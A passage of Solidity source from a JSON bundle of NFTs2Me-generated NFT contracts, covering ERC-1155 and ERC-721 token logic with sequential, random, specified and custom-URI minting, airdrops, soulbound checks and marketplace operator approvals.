uint256[](amount);\n\n for (uint256 i; i < amount; ) {\n uint256 tokenId = tokenIds[i];\n amounts[i] = 1;\n if (_exists(tokenId)) revert TokenAlreadyMinted();\n if (tokenId <= 0 || tokenId > _collectionSize) revert InvalidTokenId();\n unchecked {\n ++i;\n }\n }\n _mintBatch(to, tokenIds, amounts, \"\");\n }\n\n function _beforeTokenTransfer(\n address operator,\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal override(ERC1155Upgradeable, ERC1155SupplyUpgradeable) {\n uint256 length = ids.length;\n for (uint256 i; i < length; ) {\n\n if (from != address(0)) {\n if (_soulbound[ids[i]] || _soulboundCollection) revert NonTransferrableSoulboundNFT();\n\n _balances[from] -= amounts[i];\n }\n\n if (to != address(0)) {\n\n _balances[to] += amounts[i];\n }\n\n unchecked {\n ++i;\n }\n }\n\n super._beforeTokenTransfer(operator, from, to, ids, amounts, data);\n\n if (_maxPerAddress != 0) {\n\n if (balanceOf(to) > _maxPerAddress) revert MaxPerAddressExceeded();\n } \n }\n\n /// @notice Query if a contract implements an interface\n /// @param interfaceId The interface identifier, as specified in ERC-165\n /// @dev Interface identification is specified in ERC-165. This function uses less than 30,000 gas.\n /// @return `true` if the contract implements `interfaceId` and `interfaceId` is not 0xffffffff, `false` otherwise\n function supportsInterface(bytes4 interfaceId)\n public\n view\n override(ERC1155Upgradeable, IERC165Upgradeable)\n returns (bool)\n {\n return (\n\n interfaceId == type(IERC2981Upgradeable).interfaceId || super.supportsInterface(interfaceId));\n }\n\n /// @notice Enable or disable approval for a third party (\"operator\") to manage all of the caller's tokens.\n /// @dev MUST emit the ApprovalForAll event on success.\n /// @param operator Address to add to the set of authorized operators\n /// @param approved True if the operator is approved, false to revoke approval\n function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n } \n\n /// @notice Queries the approval status of an operator for a given owner.\n /// @param owner The owner of the tokens\n /// @param operator Address of authorized operator\n /// @return True if the operator is approved, false if not\n function isApprovedForAll(address owner, address operator)\n public\n view\n virtual\n override\n returns (bool)\n {\n\n if (operator == N2M_CONDUIT) return true;\n if (operator == OPENSEA_CONDUIT) return true;\n\n return super.isApprovedForAll(owner, operator);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) public override onlyAllowedOperator() {\n super.safeTransferFrom(from, to, id, amount, data);\n }\n\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) public override onlyAllowedOperator() {\n super.safeBatchTransferFrom(from, to, ids, amounts, data);\n }\n\n // ////////\n\n // ////////\n\n function getSupplies(uint256 startId, uint256 endId)\n external\n view\n returns (\n uint256[] memory supplies,\n uint256 blockNumber,\n uint256 blockTimestamp\n )\n {\n blockNumber = block.number;\n blockTimestamp = block.timestamp;\n\n if (endId >= startId) {\n uint256 total = 1 + endId - startId;\n unchecked {\n supplies = new uint256[](total);\n for (uint256 i; i < total; i++) {\n supplies[i] = totalSupply(startId + i);\n }\n }\n } else {\n uint256[] memory emptyArray;\n supplies = emptyArray;\n }\n } \n\n}\n" }, "contracts/N2MERC721.sol": { "content": "/** ---------------------------------------------------------------------------- //\n * //\n * .:::. //\n * .:::::::. //\n * ::::::::. //\n * .:::::::::. //\n * ..:::. .. //\n * .::::. ::::.. //\n * ..:::.. ::::::::. //\n * .::::. :::. ..:::. //\n * ..:::.. :::. .:::. //\n * .::::. :::. .:::.. //\n * .:::.. .. :::. .::::. //\n * .::::. ..:::=- :::: ..:::. //\n * :::. .:::::::===: ::::::. .:::: //\n * .::. .:::::::::::=====. ::::::::::. .::. //\n * .:: .:::::::::::::::=======. :::::::::::::.. ::. //\n * .:: .::::::::::::::::========- ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==========: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::============: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==============. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::===============-. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::=================:::::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::::=================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-===============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .==============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :==========-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-========-:::::::::::::::: ::. //\n * .:: .:::::::::::::: .=======-::::::::::::::. ::. //\n * .::. .:::::::::: .=====-::::::::::.. ::. //\n * :::.. ..:::::: :===-::::::.. .:::. //\n * .:::.. .::: -=-:::. .::::. //\n * .::::. .::: .. .::::. //\n * .::::. .::: ..:::. //\n * .:::. .::: .::::. //\n * .:::.. .::: ..:::.. //\n * .::::.::: .::::. //\n * ..:::: ..:::.. //\n * .: .::::. //\n * :::::.::::. //\n * ::::::::. //\n * :::::::. //\n * .::::. //\n * //\n * //\n * Smart contract generated by https://nfts2me.com //\n * //\n * NFTs2Me. Make an NFT Collection. //\n * With ZERO Coding Skills. //\n * //\n * NFTs2Me is not associated or affiliated with this project. //\n * NFTs2Me is not liable for any bugs or issues associated with this contract. //\n * NFTs2Me Terms of Service: https://nfts2me.com/terms-of-service/ //\n * ----------------------------------------------------------------------------- */\n\n/// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\nimport \"@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/utils/cryptography/EIP712Upgradeable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721VotesUpgradeable.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\n\nimport \"./N2MTokenCommon.sol\";\n\n/// @title NFTs2Me.com Smart Contracts for ERC-721.\n/// @author The NFTs2Me Team\n/// @notice Read our terms of service\n/// @custom:security-contact [email protected]\n/// @custom:terms-of-service https://nfts2me.com/terms-of-service/\n/// @custom:website https://nfts2me.com/\ncontract N2MERC721 is\n N2MTokenCommon,\n ERC721Upgradeable,\n EIP712Upgradeable,\n ERC721VotesUpgradeable\n{\n\n /// @notice To be called to create the collection. Can only be called once.\n function initialize(\n string memory tokenName,\n string memory tokenSymbol,\n uint256 iMintPrice,\n bytes32 baseURICIDHash,\n bytes32 placeholderImageCIDHash,\n RevenueAddress[] calldata revenueAddresses,\n address iErc20PaymentAddress,\n uint32 iTotalSupply,\n uint16 iRoyaltyFee,\n bool soulboundCollection,\n MintingType iMintingType\n ) public payable override initializer {\n __ERC721_init(tokenName, tokenSymbol);\n\n if (iTotalSupply == 0) revert TotalSupplyMustBeGreaterThanZero();\n if (baseURICIDHash != 0 && placeholderImageCIDHash != 0) revert CantSetBaseURIAndPlaceholderAtTheSameTime();\n if (iRoyaltyFee > 10_00) revert RoyaltyFeeTooHigh();\n\n _collectionSize = iTotalSupply;\n if (baseURICIDHash == 0) {\n if (placeholderImageCIDHash == 0) {\n if (iMintingType != MintingType.CUSTOM_URI)\n revert NoBaseURINorPlaceholderSet();\n } else {\n _placeholderImageCIDHash = placeholderImageCIDHash;\n }\n } else {\n _baseURICIDHash = baseURICIDHash;\n }\n\n _mintPrice = iMintPrice;\n _royaltyFee = iRoyaltyFee;\n if (iMintingType != MintingType.SEQUENTIAL) {\n _mintingType = iMintingType;\n }\n if (iErc20PaymentAddress != address(0)) {\n _isERC20Payment = true;\n _erc20PaymentAddress = iErc20PaymentAddress;\n }\n if (soulboundCollection == true) {\n _soulboundCollection = true;\n }\n\n if (revenueAddresses.length > 0) {\n uint256 revenuePercentageTotal;\n for (uint256 i; i < revenueAddresses.length; ) {\n revenuePercentageTotal += revenueAddresses[i].percentage;\n unchecked {\n ++i;\n }\n }\n _revenueInfo = revenueAddresses;\n if (revenuePercentageTotal > 100_00 - N2M_FEE) revert InvalidRevenuePercentage();\n }\n\n }\n\n constructor(address libraryAddress, address payable factoryAddress) N2MTokenCommon(libraryAddress, factoryAddress) {}\n\n /// @notice A distinct Uniform Resource Identifier (URI) for a given asset.\n /// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC\n /// 3986. The URI may point to a JSON file that conforms to the \"ERC721\n /// Metadata JSON Schema\".\n function tokenURI(uint256 tokenId)\n public\n view\n override(N2MTokenCommon, ERC721Upgradeable)\n returns (string memory)\n {\n _requireMinted(tokenId);\n return IN2MLibrary(address(this)).tokenURIImpl(tokenId);\n }\n\n function _exists(uint256 tokenId)\n internal\n view\n override(ERC721Upgradeable, N2MTokenCommon)\n returns (bool)\n {\n return super._exists(tokenId);\n }\n\n function _mint(address to, uint256 tokenId)\n internal\n override(ERC721Upgradeable, N2MTokenCommon)\n {\n super._mint(to, tokenId);\n }\n\n /// @notice A descriptive name for a collection of NFTs in this contract\n function name()\n public\n view\n override(ERC721Upgradeable, N2MTokenCommon)\n returns (string memory)\n {\n return super.name();\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 firstTokenId,\n uint256 batchSize\n ) internal override {\n if (\n from != address(0) &&\n (_soulbound[firstTokenId] || _soulboundCollection)\n ) revert NonTransferrableSoulboundNFT();\n\n super._beforeTokenTransfer(from, to, firstTokenId, batchSize);\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 firstTokenId,\n uint256 batchSize\n ) internal override(ERC721Upgradeable, ERC721VotesUpgradeable) {\n super._afterTokenTransfer(from, to, firstTokenId, batchSize);\n\n if (_maxPerAddress != 0) {\n\n if (balanceOf(to) > _maxPerAddress) revert MaxPerAddressExceeded();\n }\n }\n\n function _burn(uint256 tokenId)\n internal\n override(ERC721Upgradeable)\n {\n super._burn(tokenId);\n if (_customURICIDHashes[tokenId] != 0) {\n delete _customURICIDHashes[tokenId];\n } \n }\n\n /// @notice Query if a contract implements an interface\n /// @param interfaceId The interface identifier, as specified in ERC-165\n /// @dev Interface identification is specified in ERC-165. This function uses less than 30,000 gas.\n /// @return `true` if the contract implements `interfaceId` and `interfaceId` is not 0xffffffff, `false` otherwise\n function supportsInterface(bytes4 interfaceId)\n public\n view\n override(ERC721Upgradeable, IERC165Upgradeable)\n returns (bool)\n {\n return (\n\n interfaceId == type(IERC2981Upgradeable).interfaceId || super.supportsInterface(interfaceId));\n }\n\n /// @notice An abbreviated name for NFTs in this contract\n /// @return the collection symbol\n function symbol()\n public\n view\n virtual\n override(IN2M_ERCBase, ERC721Upgradeable)\n returns (string memory)\n {\n return super.symbol();\n }\n\n /// @notice Count all NFTs assigned to an owner\n /// @dev NFTs assigned to the zero address are considered invalid, and this\n /// function throws for queries about the zero address.\n /// @param owner An address for whom to query the balance\n /// @return balance The number of NFTs owned by `owner`, possibly zero\n function balanceOf(address owner) public view override(ERC721Upgradeable, N2MTokenCommon) returns (uint256 balance) {\n balance = super.balanceOf(owner);\n if (_mintingType == MintingType.RANDOM) {\n balance += _randomTickets[owner].amount;\n }\n }\n\n function _EIP712NameHash() internal virtual override view returns (bytes32) {\n\n return keccak256(\"NFTs2Me\");\n }\n\n function _EIP712VersionHash() internal virtual override view returns (bytes32) {\n return keccak256(\"1\");\n } \n\n /// @notice Enable or disable approval for a third party (\"operator\") to manage\n /// all of `msg.sender`'s assets\n /// @dev Emits the ApprovalForAll event. The contract MUST allow\n /// multiple operators per owner.\n /// @param operator Address to add to the set of authorized operators\n /// @param approved True if the operator is approved, false to revoke approval\n function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n /// @notice Change or reaffirm the approved address for an NFT\n /// @dev The zero address indicates there is no approved address.\n /// Throws unless `msg.sender` is the current NFT owner, or an authorized\n /// operator of the current owner.\n /// @param operator The new approved NFT controller\n /// @param tokenId The NFT to approve\n function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n /// @notice Query if an address is an authorized operator for another address\n /// @param owner The address that owns the NFTs\n /// @param operator The address that acts on behalf of the owner\n /// @return True if `operator` is an approved operator for `owner`, false otherwise\n function isApprovedForAll(address owner, address operator)\n public\n view\n virtual\n override\n returns (bool)\n {\n\n if (operator == N2M_CONDUIT) return true;\n if (operator == OPENSEA_CONDUIT) return true;\n\n return super.isApprovedForAll(owner, operator);\n }\n\n /// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE\n /// TO CONFIRM THAT `to` IS CAPABLE OF RECEIVING NFTS OR ELSE\n /// THEY MAY BE PERMANENTLY LOST\n /// @dev Throws unless `msg.sender` is the current owner, an authorized\n /// operator, or the approved address for this NFT. Throws if `from` is\n /// not the current owner. Throws if `to` is the zero address. Throws if\n /// `tokenId` is not a valid NFT.\n /// @param from The current owner of the NFT\n /// @param to The new owner\n /// @param tokenId The NFT to transfer\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator() {\n super.transferFrom(from, to, tokenId);\n }\n\n /// @notice Transfers the ownership of an NFT from one address to another address\n /// @dev This works identically to the other function with an extra data parameter,\n /// except this function just sets data to \"\".\n /// @param from The current owner of the NFT\n /// @param to The new owner\n /// @param tokenId The NFT to transfer\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator() {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /// @notice Transfers the ownership of an NFT from one address to another address\n /// @dev Throws unless `msg.sender` is the current owner, an authorized\n /// operator, or the approved address for this NFT. Throws if `from` is\n /// not the current owner. Throws if `to` is the zero address. Throws if\n /// `tokenId` is not a valid NFT. When transfer is complete, this function\n /// checks if `to` is a smart contract (code size > 0). If so, it calls\n /// `onERC721Received` on `to` and throws if the return value is not\n /// `bytes4(keccak256(\"onERC721Received(address,address,uint256,bytes)\"))`.\n /// @param from The current owner of the NFT\n /// @param to The new owner\n /// @param tokenId The NFT to transfer\n /// @param data Additional data with no specified format, sent in call to `to`\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator() {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n}\n" }, "contracts/N2MTokenCommon.sol": { "content": "/** ---------------------------------------------------------------------------- //\n * //\n * .:::. //\n * .:::::::. //\n * ::::::::. //\n * .:::::::::. //\n * ..:::. .. //\n * .::::. ::::.. //\n * ..:::.. ::::::::. //\n * .::::. :::. ..:::. //\n * ..:::.. :::. .:::. //\n * .::::. :::. .:::.. //\n * .:::.. .. :::. .::::. //\n * .::::. ..:::=- :::: ..:::. //\n * :::. .:::::::===: ::::::. .:::: //\n * .::. .:::::::::::=====. ::::::::::. .::. //\n * .:: .:::::::::::::::=======. :::::::::::::.. ::. //\n * .:: .::::::::::::::::========- ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==========: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::============: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==============. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::===============-. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::=================:::::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::::=================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-===============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .==============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :==========-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-========-:::::::::::::::: ::. //\n * .:: .:::::::::::::: .=======-::::::::::::::. ::. //\n * .::. .:::::::::: .=====-::::::::::.. ::. //\n * :::.. ..:::::: :===-::::::.. .:::. //\n * .:::.. .::: -=-:::. .::::. //\n * .::::. .::: .. .::::. //\n * .::::. .::: ..:::. //\n * .:::. .::: .::::. //\n * .:::.. .::: ..:::.. //\n * .::::.::: .::::. //\n * ..:::: ..:::.. //\n * .: .::::. //\n * :::::.::::. //\n * ::::::::. //\n * :::::::. //\n * .::::. //\n * //\n * //\n * Smart contract generated by https://nfts2me.com //\n * //\n * NFTs2Me. Make an NFT Collection. //\n * With ZERO Coding Skills. //\n * //\n * NFTs2Me is not associated or affiliated with this project. //\n * NFTs2Me is not liable for any bugs or issues associated with this contract. //\n * NFTs2Me Terms of Service: https://nfts2me.com/terms-of-service/ //\n * ----------------------------------------------------------------------------- */\n\n/// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\nimport \"@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/utils/cryptography/EIP712Upgradeable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721VotesUpgradeable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721URIStorageUpgradeable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/interfaces/IERC2981Upgradeable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol\";\n\n/// Utils\nimport \"@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\n\nimport \"@nfts2me/contracts/interfaces/IN2MCrossFactory.sol\";\nimport \"@nfts2me/contracts/interfaces/IN2M_ERCBase.sol\";\nimport \"./N2MCommonStorage.sol\";\n\ninterface IN2MLibrary {\n function tokenURIImpl(uint256 tokenId) external view returns (string memory);\n}\n\n/// @title NFTs2Me.com Smart Contracts\n/// @author The NFTs2Me Team\n/// @notice Read our terms of service\n/// @custom:security-contact [email protected]\n/// @custom:terms-of-service https://nfts2me.com/terms-of-service/\n/// @custom:website https://nfts2me.com/\nabstract contract N2MTokenCommon is N2MCommonStorage, IN2M_ERCBase {\n /// IMMUTABLE\n address internal immutable LIBRARY_ADDRESS;\n\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor(address libraryAddress, address payable factoryAddress) N2MCommonStorage(factoryAddress) {\n LIBRARY_ADDRESS = libraryAddress;\n }\n\n function _mint(address to, uint256 tokenId) internal virtual;\n\n function _exists(uint256 tokenId) internal view virtual returns (bool);\n\n function name() external view virtual override returns (string memory);\n\n function tokenURI(uint256 tokenId) external view virtual override returns (string memory);\n\n function balanceOf(address owner) public view virtual returns (uint256 balance); \n\n /// @notice Mints one NFT to the caller (msg.sender). Requires `minting type` to be `sequential` and the `mintPrice` to be send (if `Native payment`) or approved (if `ERC-20` payment).\n function mint() external payable override {\n _requirePayment(_mintPrice, 1);\n _checkPhase();\n if (_mintingType != MintingType.SEQUENTIAL) revert InvalidMintingType();\n unchecked {\n if ((++_soldTokens) > _collectionSize) revert CollectionSoldOut();\n }\n _mint(msg.sender, _soldTokens);\n }\n\n /// @notice Mints `amount` NFTs to the caller (msg.sender). Requires `minting type` to be `sequential` and the `mintPrice` to be send (if `Native payment`) or approved (if `ERC-20` payment).\n /// @param amount The number of NFTs to mint\n function mint(uint256 amount) external payable override {\n _requirePayment(_mintPrice, amount);\n _mintSequentialWithChecks(msg.sender, amount);\n }\n\n /// @notice Mints `amount` NFTs to the caller (msg.sender) with a given `affiliate`. Requires `minting type` to be `sequential` and the `mintPrice` to be send (if `Native payment`) or approved (if `ERC-20` payment).\n /// @param amount The number of NFTs to mint\n /// @param affiliate The affiliate address\n function mint(uint256 amount, address affiliate) external payable override {\n _requirePaymentWithAffiliates(amount, affiliate);\n _mintSequentialWithChecks(msg.sender, amount);\n }\n\n /// @notice Mints `amount` NFTs to `to` address. Requires `minting type` to be `sequential` and the `mintPrice` to be send (if `Native payment`) or approved (if `ERC-20` payment).\n /// @param to The address of the NFTs receiver\n /// @param amount The number of NFTs to mint \n function mintTo(address to, uint256 amount) external payable override {\n _requirePayment(_mintPrice, amount);\n _mintSequentialWithChecks(to, amount);\n }\n\n /// @notice Mints `amount` NFTs to `to` address with a given `affiliate`. Requires `minting type` to be `sequential` and the `mintPrice` to be send (if `Native payment`) or approved (if `ERC-20` payment).\n /// @param to The address of the NFTs receiver\n /// @param amount The number of NFTs to mint \n /// @param affiliate The affiliate address\n function mintTo(address to, uint256 amount, address affiliate) external payable override {\n _requirePaymentWithAffiliates(amount, affiliate);\n _mintSequentialWithChecks(to, amount);\n }\n\n function _mintSequentialWithChecks(address to, uint256 amount) private {\n _checkPhase();\n if (_mintingType != MintingType.SEQUENTIAL) revert InvalidMintingType();\n if ((_soldTokens + amount) > _collectionSize) revert CollectionSoldOut();\n\n _mintSequential(to, amount);\n }\n\n function _mintSequential(address to, uint256 amount, bool soulbound) private {\n for (uint256 i; i < amount; ) {\n unchecked {\n _mint(to, ++_soldTokens);\n }\n if (soulbound) _soulbound[_soldTokens] = true;\n unchecked {\n ++i;\n }\n }\n }\n\n function _mintSequential(address to, uint256 amount) internal virtual {\n for (uint256 i; i < amount; ) {\n unchecked {\n _mint(to, ++_soldTokens);\n ++i;\n }\n }\n }\n\n /// @notice Two phases on-chain random minting. Mints `amount` NFTs tickets to `to` address. Requires `minting type` to be `random` and the `mintPrice` to be send (if `Native payment`) or approved (if `ERC-20` payment). Once minted, those tickets must be redeemed for an actual token calling `redeemRandom()`.\n /// @param to The address of the NFTs receiver\n /// @param amount The number of NFTs to mint \n function mintRandomTo(address to, uint256 amount) external payable override {\n _requirePayment(_mintPrice, amount);\n _mintRandomWithChecks(to, amount);\n }\n\n /// @notice Two phases on-chain random minting. Mints `amount` NFTs tickets to `to` address with a given `affiliate`. Requires `minting type` to be `random` and the `mintPrice` to be send (if `Native payment`) or approved (if `ERC-20` payment). Once minted, those tickets must be redeemed for an actual token calling `redeemRandom()`.\n /// @param to The address of the NFTs receiver\n /// @param amount The number of NFTs to mint \n /// @param affiliate The affiliate address\n function mintRandomTo(address to, uint256 amount, address affiliate) external payable override {\n _requirePaymentWithAffiliates(amount, affiliate);\n _mintRandomWithChecks(to, amount);\n }\n\n function _mintRandomWithChecks(address to, uint256 amount) private {\n _checkPhase();\n if (_mintingType != MintingType.RANDOM) revert InvalidMintingType();\n if (_soldTokens + (amount) > _collectionSize) revert CollectionSoldOut();\n\n unchecked {\n _randomTickets[to].blockNumberToReveal = block.number + 2;\n _randomTickets[to].amount += amount;\n _soldTokens += uint32(amount);\n }\n\n if (_maxPerAddress != 0) {\n\n if (balanceOf(to) > _maxPerAddress) revert MaxPerAddressExceeded();\n } \n }\n\n /// @notice Redeems remaining random tickets generated from `msg.sender` by calling `mintRandomTo` for actual NFTs.\n function redeemRandom() external payable override {\n uint256 blockNumberToReveal = _randomTickets[msg.sender].blockNumberToReveal;\n uint256 amountToRedeem = _randomTickets[msg.sender].amount;\n\n if (amountToRedeem == 0) revert NothingToRedeem();\n if (block.number <= _randomTickets[msg.sender].blockNumberToReveal) revert CantRevealYetWaitABitToBeAbleToRedeem();\n\n bytes32 seedFromBlockNumber = blockhash(blockNumberToReveal);\n\n if (seedFromBlockNumber == 0) {\n\n uint256 newBlockNumber = ((block.number & uint256(int256(-0x100))) + (blockNumberToReveal & 0xff));\n\n if ((newBlockNumber >= block.number)) {\n newBlockNumber -= 256;\n\n }\n seedFromBlockNumber = blockhash(newBlockNumber);\n\n }\n\n delete(_randomTickets[msg.sender].blockNumberToReveal);\n delete(_randomTickets[msg.sender].amount);\n\n uint16 maxPerAddressTemp = _maxPerAddress;\n delete(_maxPerAddress);\n _mintRandom(msg.sender, amountToRedeem, seedFromBlockNumber, false);\n _maxPerAddress = maxPerAddressTemp;\n }\n\n function _mintRandom(address to, uint256 amount, bytes32 seed, bool soulbound) private {\n for (; amount > 0; ) {\n uint256 tokenId = _randomTokenId(seed, amount);\n _mint(to, tokenId);\n if (soulbound) _soulbound[tokenId] = true;\n unchecked {\n --amount;\n }\n }\n }\n\n function _randomTokenId(bytes32 seed, uint256 extraModifier) private view returns (uint256 tokenId) {\n\n tokenId = (uint256(keccak256(abi.encodePacked(seed, extraModifier))) % _collectionSize) + 1;\n\n while (_exists(tokenId)) {\n unchecked {\n tokenId = (tokenId % _collectionSize) + 1;\n }\n }\n }\n\n /// @notice Mints `amount` NFTs to `to` address. Requires `minting type` to be `specify` and the `mintPrice` to be send (if `Native payment`) or approved (if `ERC-20` payment).\n /// @param to The address of the NFTs receiver\n /// @param tokenIds An array of the specified tokens. They must not be minted, otherwise, it will revert.\n function mintSpecifyTo(address to, uint256[] memory tokenIds)\n external\n payable\n override\n {\n _requirePayment(_mintPrice, tokenIds.length);\n _mintSpecifyWithChecks(to, tokenIds);\n }\n\n /// @notice Mints `amount` NFTs to `to` address with a given `affiliate`. Requires `minting type` to be `specify` and the `mintPrice` to be send (if `Native payment`) or approved (if `ERC-20` payment).\n /// @param to The address of the NFTs receiver\n /// @param tokenIds An array of the specified tokens. They must not be minted, otherwise, it will revert.\n /// @param affiliate The affiliate address\n function mintSpecifyTo(address to, uint256[] memory tokenIds, address affiliate) \n external\n payable\n override\n {\n _requirePaymentWithAffiliates(tokenIds.length, affiliate);\n _mintSpecifyWithChecks(to, tokenIds);\n }\n\n function _mintSpecifyWithChecks(address to, uint256[] memory tokenIds)\n private\n {\n _checkPhase();\n if (_mintingType != MintingType.SPECIFY) revert InvalidMintingType();\n\n if (_soldTokens + (tokenIds.length) > _collectionSize) revert CollectionSoldOut();\n\n _mintSpecify(to, tokenIds);\n }\n\n function _mintSpecify(\n address to,\n uint256[] memory tokenIds,\n bool soulbound\n ) private {\n _mintSpecify(to, tokenIds);\n uint256 inputLength = tokenIds.length; \n if (soulbound) {\n for (uint256 i; i < inputLength; ) {\n _soulbound[tokenIds[i]] = true;\n unchecked {\n ++i;\n }\n }\n }\n }\n\n function _mintSpecify(address to, uint256[] memory tokenIds)\n internal\n virtual\n {\n\n uint256 inputLength = tokenIds.length;\n unchecked {\n _soldTokens += uint32(inputLength);\n }\n for (uint256 i; i < inputLength; ) {\n uint256 tokenId = tokenIds[i];\n\n if (tokenId == 0 || tokenId > _collectionSize) revert InvalidTokenId();\n _mint(to, tokenId);\n unchecked {\n ++i;\n }\n }\n }\n\n /// @notice Mints one NFT to `to` address. Requires `minting type` to be `customURI`.\n /// @param to The address of the NFTs receiver\n /// @param customURICIDHash The CID of the given token.\n /// @param soulbound True if the NFT is a Soulbound Token (SBT). If set, it can't be transferred.\n function mintCustomURITo(address to, bytes32 customURICIDHash, bool soulbound)\n external\n payable\n override\n {\n _requirePayment(_mintPrice, 1);\n _checkPhase();\n if (_mintingType != MintingType.CUSTOM_URI) revert InvalidMintingType();\n unchecked {\n if ((++_soldTokens) > _collectionSize) revert CollectionSoldOut();\n }\n _mint(to, _soldTokens);\n\n unchecked {\n if (soulbound) _soulbound[_soldTokens] = true;\n }\n _customURICIDHashes[_soldTokens] = customURICIDHash;\n }\n\n /// @notice Only owner can call this function. Free of charge. Mints sizeof(`to`) to `to` addresses. Requires `minting type` to be `sequential`.\n /// @param to The addresses of the NFTs receivers\n /// @param soulbound True if the NFT is a Soulbound Token (SBT). If set, it can't be transferred.\n function airdropSequential(address[] memory to, bool soulbound)\n external\n payable\n override\n onlyStrictOwner\n {\n if (_mintingType != MintingType.SEQUENTIAL) revert InvalidMintingType();\n if (_soldTokens + (to.length) > _collectionSize) revert CollectionSoldOut();\n\n uint256 toLength = to.length;\n for (uint256 i; i < toLength; ) {\n\n unchecked {\n _mint(to[i], ++_soldTokens); \n if (soulbound) _soulbound[_soldTokens] = true;\n ++i;\n }\n }\n }\n\n /// @notice Only owner can call this function. Free of charge. Mints sizeof(`to`) to `to` addresses with random tokenIds. Requires `minting type` to be `random`.\n /// @param to The addresses of the NFTs receivers\n /// @param soulbound True if the NFT is a Soulbound Token (SBT). If set, it can't be transferred.\n function airdropRandom(address[] memory to, bool soulbound)\n external\n payable\n override\n onlyOwner\n {\n uint256 toLength = to.length;\n if (_mintingType != MintingType.RANDOM) revert InvalidMintingType();\n\n if ((_soldTokens + toLength) > _collectionSize) revert CollectionSoldOut();\n\n unchecked {\n _soldTokens += uint32(toLength);\n }\n\n bytes32 randomSeed = blockhash(block.number - 1);\n\n for (uint256 i; i < toLength; ) {\n uint256 newTokenId = _randomTokenId(randomSeed, i);\n _mint(to[i], newTokenId);\n if (soulbound) _soulbound[newTokenId] = true;\n unchecked {\n ++i;\n }\n }\n }\n\n /// @notice Only owner can call this function. Free of charge. Mints sizeof(`to`) to `to` addresses with specified tokenIds. Requires `minting type` to be `specify`.\n /// @param to The addresses of the NFTs receivers\n /// @param tokenIds An array of the specified tokens. They must not be minted, otherwise, it will revert.\n /// @param soulbound True if the NFT is a Soulbound Token (SBT). If set, it can't be transferred.\n function airdropSpecify(\n address[] memory to,\n uint256[] memory tokenIds,\n bool soulbound\n ) external payable override onlyOwner {\n uint256 toLength = to.length;\n if (_mintingType != MintingType.SPECIFY) revert InvalidMintingType();\n\n if (_soldTokens + (tokenIds.length) > _collectionSize) revert CollectionSoldOut();\n if (toLength != tokenIds.length) revert InvalidInputSizesDontMatch();\n\n unchecked {\n _soldTokens += uint32(toLength);\n }\n\n for (uint256 i; i < toLength; ) {\n\n if (tokenIds[i] == 0 || tokenIds[i] > _collectionSize) revert InvalidTokenId();\n _mint(to[i], tokenIds[i]);\n if 